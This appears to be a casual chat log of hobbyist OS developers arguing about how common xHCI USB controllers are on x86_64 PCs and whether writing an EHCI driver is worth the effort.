yeah well, most x86_64 pcs have xhci
not all
that's why i said most
most new ones do
well duh?
anything older than like 2015 it's like 50/50
that's kind of implied
are you living in 2015?
"most" implies most of the entire series of devices
which for x86_64 PCs ranges quite far back
if you total up every x86_64 PC ever produced, most actually do not have XHCI
most new ones do, but that is not implied by "most"
a lot of these older machines aren't used anymore tho
so they might as well not exist
that's simply not true
but whatever
I'm not arguing about this at 11:40PM
I have more productive things to be doing
it's safe to assume anything post sandy bridge has xhci
and why the fuck would you target anything less than that
and not "most new ones do", ALL new ones do
no i dont think thats true
the number of systems produced per period of time increases
Change that to "highly likely" and you are right
that seems precise because my 2010 laptop only has EHCI
im frankly not even sure how you're supposed to plug usb 1 devices into it?
it probably has a chipset integrated hub
probably
imo not worth going through the hassle of writing an ehci driver just for the few pcs you'll encounter that don't have xhci
from the managarm source, EHCI doesn't look all too bad if you disregard the companion controller memes
